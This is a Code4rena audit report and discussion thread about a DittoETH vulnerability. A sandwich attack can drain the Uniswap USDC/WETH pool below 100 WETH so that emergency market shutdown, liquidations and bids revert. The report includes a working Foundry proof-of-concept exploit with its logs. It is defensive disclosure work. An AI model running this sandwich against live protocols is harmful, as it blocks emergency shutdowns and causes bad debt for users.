An attacker can make many functions revert, including Emergency Market Shutdown

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibOracle.sol#L139

Vulnerability details

Summary

It's possible to sandwich calls to a function that uses an oracle, reduce the Uniswap v3 USDC_WETH pool WETH balance below 100, and make the function revert because Ditto's code reverts in cases when the Uniswap USDC_WETH pool has < 100 WETH. It may also be used to use Chainlink's price when it should have used TWAP.

Vulnerability Details

There is a check in twapCircuitBreaker

if (wethBal < 100 ether) revert Errors.InsufficientEthInLiquidityPool();

An attacker can use a flash loan from Uniswap's USDC/WETH pool (when they call the function themselves) to borrow enough WETH that the pool has < 100.

Or do a sandwich attack in all other cases. A sandwich attack is more dangerous.

Steps for the attacker (all in a flashbots bundle, so it's atomic):
0. See a transaction sent by a user/DAO/admin.

1. Buy WETH from the uniV3 pool so the pool balance falls below 100 WETH.
2. Include the victim's transaction between buy and sell transactions; it will revert on the wethBal < 100 ether check.
3. Sell WETH back, pay only Uniswap's fees, which are 0.05% for this pool.

Attack success can depend on several factors: TVL, how concentrated the liquidity is.

When liquidity is concentrated around the current price, market manipulation requires larger funds to execute. But, the moment the concentrated liquidity dries up, the exchange moves into a less liquid zone, where larger price manipulation is possible with fewer funds, impacting the usefulness of TWAP.

The lower the TVL, the cheaper the attack. When the liquidity is highly concentrated, an attack is more expensive but possible because an attacker doesn't need to pay a high price to reduce the WETH balance of the pool; they pay a market price.

In my PoC, I show a case when a pool has a significant amount of WETH (2550) yet it's possible to sandwich it to have < 100 WETH. The fees in this case will be around 2.5 WETH (7k USDC in prices of a block used for PoC).

Also notice that it had less WETH than in my PoC not so long ago, around 08/03/2024 it had 2162.
See the graph and a table here.

The pool balance can go down as users migrate to UniV4 or other platforms, which will make the attack cheaper. It can fall below 100 WETH naturally too.

twapCircuitBreaker is used in many functions, all of them are listed below:

• LibOracle.twapCircuitBreaker
  • LibOracle.getOraclePrice 2x
  • LibOracle.baseOracleCircuitBreaker
    • LibOracle.getOraclePrice
      • MarketShutdownFacet.shutdownMarket
      • OwnerFacet.createMarket
        • DeployHelper.postDeploySetup
          • DeployDiamond.run
      • ViewFacet.getShortIdAtOracle
      • ViewFacet.getOracleAssetPrice
      • ViewFacet.getAssetCollateralRatio
      • LibOracle.getSavedOrSpotOraclePrice
        • SecondaryLiquidationFacet.liquidateSecondary
        • ShortOrdersFacet.createLimitShort
        • ShortOrdersFacet.decreaseCollateral
        • LibShortRecord.getCollateralRatioSpotPrice
          • ShortRecordFacet.increaseCollateral
          • ViewFacet.getCollateralRatioSpotPrice
      • LibOrders._updateOracleAndStartingShort
        • LibOrders.updateOracleAndStartingShortViaThreshold
          • BidOrdersFacet._createBid
            • BidOrdersFacet.createBid
            • BidOrdersFacet.createForcedBid
              • ExitShortFacet.exitShort
              • PrimaryLiquidationFacet._performForcedBid
                • PrimaryLiquidationFacet.liquidate
          • ShortOrdersFacet.createLimitShort
        • LibOrders.updateOracleAndStartingShortViaTimeBidOnly
          • BidOrdersFacet.createBid
          • ExitShortFacet.exitShort
          • PrimaryLiquidationFacet.liquidate

Note: the attack requires the Chainlink oracle to malfunction, which can be a possible reason to try to shut down a market. We need to get here.

Impact

The biggest impact is that it would be impossible to shut down a market, which will lead to high losses. It breaks a security assumption link:

It is assumed that shutdownMarket will be called shortly after the c-ratio of the asset falls since the last saved Oracle price before freezing is used to facilitate asset conversions back to dETH.

Also, the attacker can block other liquidators' liquidations, which will also lead to the accrual of bad debt. And liquidate big positions themselves when it becomes cheaper, which can be profitable.

An attacker can also censor createBid and other functions, which can lead to disruptions in main protocol functionality.

Proof of Concept

deal does not work with USDC in this repo because it uses version <1.8.0 foundry-rs/foundry#7137

1. Update in package.json the "forge-std" line to "forge-std": "github:foundry-rs/forge-std#v1.8.0"
2. npm i; npm update forge-std; forge clean;
3. Put the file in contracts/AAUniswapPoolSandwich.t.sol
4. Make sure you set MAINNET_RPC_URL in .env
   • Depending on your RPC, the test can take from 2 seconds up to 10 minutes.
5. forge test -vvv --mt testRevertsInSandwich
   Expected output:

Logs:
  WETH balance of USDC_WETH before sandwich / 1e18:  2550
  USDC balance of USDC_WETH before sandwich / 1e6:  2987403
  amountWethOutInSandwich: 2.533015139202965561695e21
  WETH balance of USDC_WETH during sandwich / 1e18:  17
  estimateWETHInUSDC
  twapPriceEthInUsd: 2.58274953e21
  twapPriceUsdInEth: 3.8718427334299e14
  estimateWETHInUSDC
  amountUsdcOutAfterSandwich / 1e6:  7492978
  usdc losses to the attacker / 1e6:  7021

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;

import {C} from "contracts/libraries/Constants.sol";
import {Errors} from "contracts/libraries/Errors.sol";
import {U256} from "contracts/libraries/PRBMathHelper.sol";

import {OBFixture} from "test/utils/OBFixture.sol";
import {IMockAggregatorV3} from "interfaces/IMockAggregatorV3.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Errors} from "contracts/libraries/Errors.sol";

import {console} from "contracts/libraries/console.sol";

// See https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/ISwapRouter.sol
interface ISwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another token
    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
}

interface IUniswapPool {
    function increaseObservationCardinalityNext( uint16 observationCardinalityNext ) external;
}

contract AAUniswapPoolSandwich is OBFixture {
    using U256 for uint256;

    uint256 public mainnetFork;
    address public constant USDC = C.USDC;
    address public constant WETH = C.WETH;


    uint256 public forkBlock = 12590523; // 2550 weth, 2021-06-08, ~$2600/weth, 7.3kk to move below 100, ~$7k in fees (0,05% * 2)
    // uint256 public forkBlock = 12571129; // 1823 weth, 2021-06-05, ~$2700/weth, 5.5kk to move below 100, ~$3k*2 in fees (0,05%)
    // uint256 public forkBlock = 12480789; // 359 weth, 2021-05-22, ~$2700/weth, 1kk to move below 100, ~$500*2 in fees (0,05%)
    
    uint256 public twapPrice = uint256(1902.501929 ether).inv();
    // See https://docs.uniswap.org/contracts/v3/reference/deployments
    ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

    function setUp() public override {
        try vm.envString("MAINNET_RPC_URL") returns (string memory rpcUrl) {
            mainnetFork = vm.createSelectFork(rpcUrl, forkBlock);
        } catch {
            revert("env: MAINNET_RPC_URL failure");
        }
        assertEq(vm.activeFork(), mainnetFork);
        super.setUp();
        // Make sure oracle has enough observations, prevents revert with "OLD"
        IUniswapPool(C.USDC_WETH).increaseObservationCardinalityNext(10);
    }

    function getTWAPPrice() public view returns (uint256 twapPriceInEther) {
        uint256 _twapPrice = diamond.estimateWETHInUSDC(C.UNISWAP_WETH_BASE_AMT, 1 hours);
        twapPriceInEther = _twapPrice * (1 ether / C.DECIMAL_USDC);
    }

    function updateSavedOracle() public {
        skip(1 hours);
        fundLimitBid(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    }

    function testCanShutdownByDefault() public {
        shutdownMarket({isRevertExpected: false});
    }

    function testRevertsInSandwich() public {
        uint USDC_TO_SWAP = 7_300_000 * 1e6;
        // `deal` does not work in this repo, it uses version <1.8.0 https://github.com/foundry-rs/foundry/issues/7137
        // update in node_modules to "forge-std": "github:foundry-rs/forge-std#v1.8.0", then npm i; npm update forge-std; forge clean;
        deal(C.USDC, address(this), USDC_TO_SWAP);
        console.log(
            "WETH balance of USDC_WETH before sandwich / 1e18: ", 
            IERC20(C.WETH).balanceOf(C.USDC_WETH) / 1e18
        );
        console.log(
            "USDC balance of USDC_WETH before sandwich / 1e6: ", 
            IERC20(C.USDC).balanceOf(C.USDC_WETH) / 1e6
        );
        IERC20(C.USDC).approve(address(swapRouter), type(uint).max);
        IERC20(C.WETH).approve(address(swapRouter), type(uint).max);

        uint splitOnParts = 1;
        uint swapAmountPerPart = USDC_TO_SWAP/splitOnParts;
        ISwapRouter.ExactInputSingleParams memory paramsBefore =
            ISwapRouter.ExactInputSingleParams({
                tokenIn: C.USDC,
                tokenOut: C.WETH,
                
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: swapAmountPerPart,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        uint amountWethOutInSandwich;
        for (uint i; i < splitOnParts; i++){
            amountWethOutInSandwich += swapRouter.exactInputSingle(paramsBefore);
        }

        console.log("amountWethOutInSandwich: %e", amountWethOutInSandwich);
        console.log(
            "WETH balance of USDC_WETH during sandwich / 1e18: ", 
            IERC20(C.WETH).balanceOf(C.USDC_WETH) / 1e18
        );

        shutdownMarket({isRevertExpected: true});


        ISwapRouter.ExactInputSingleParams memory paramsAfter =
            ISwapRouter.ExactInputSingleParams({
                tokenIn: C.WETH,
                tokenOut: C.USDC,
                
                fee: 500,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amountWethOutInSandwich,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        uint amountUsdcOutAfterSandwich = swapRouter.exactInputSingle(paramsAfter);
        console.log("amountUsdcOutAfterSandwich / 1e6: ", amountUsdcOutAfterSandwich / 1e6);
        console.log("usdc losses to the attacker / 1e6: ", (USDC_TO_SWAP - amountUsdcOutAfterSandwich) / 1e6);
    }

    // Based on the same function from test/LiquidationRevert.t.sol
    function shutdownMarket(bool isRevertExpected) public {
        uint twapPriceEthInUsd = getTWAPPrice();
        uint80 twapPriceUsdInEth = uint80(1e36 / twapPriceEthInUsd);
        console.log("twapPriceEthInUsd: %e", twapPriceEthInUsd);
        console.log("twapPriceUsdInEth: %e", twapPriceUsdInEth);

        // Increase price in "chainlink", so we will have undercollateralized state after it fails
        _setETH(int(twapPriceEthInUsd) * 10);
        fundLimitShortOpt(twapPriceUsdInEth / 10, DEFAULT_AMOUNT, sender);
        fundLimitBidOpt(twapPriceUsdInEth / 10, DEFAULT_AMOUNT, receiver);

         // Use TWAP
        ethAggregator.setFail(true);
        vm.prank(owner);
        if (isRevertExpected){
            vm.expectRevert(Errors.InsufficientEthInLiquidityPool.selector);
        }
        diamond.shutdownMarket(asset);
    }

}

Tools Used

Manual review.

Recommended Mitigation Steps

Consider checking the pool's liquidity and not the WETH balance.

Assessed type

Oracle

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #72

[raymondfam]

See #72.

[c4-judge]

hansfriese changed the severity to QA (Quality Assurance)

[c4-judge]

hansfriese marked the issue as grade-c

[00xSEV]

Hello

It's not exactly a duplicate of issue 72 because this issue focuses on making the Emergency Market Shutdown revert, whereas the original issue is concentrated on price differences.

Additionally, the comment left in issue 72 does not apply here:

This is meant more for black swan scenario where the delta is set at 50%. In practice, price diff between order price and oracle > chainlink threshold is capped at 0.5%.

Emergency market shutdowns are caused by black swan events. The team may want to invoke it in the event of a malfunction in the Chainlink oracle, such as when the oracle starts to revert or experiences other issues.

It is important to ensure that the protocol team understands that in some black swan events, an attacker can cause the shutdownMarket transaction(s) to revert, which breaks a security assumption (see "Impact") and creates bad debt.

While the probability is low (if you trust Chainlink), the impact is high, so I would argue that a medium severity rating is appropriate.

Thank you for taking another look at this.

[ditto-eth]

Not too worried about the impact here because of easy mitigation, plus the number of steps required to make it feasible:

1. Chainlink fails
2. Marketshutdown conditions
3. Attacker willing to burn (high amount?) ETH for DOS

DAO should just use flashbots when calling marketShutdown

[hansfriese]

QA is appropriate due to the rare likelihood.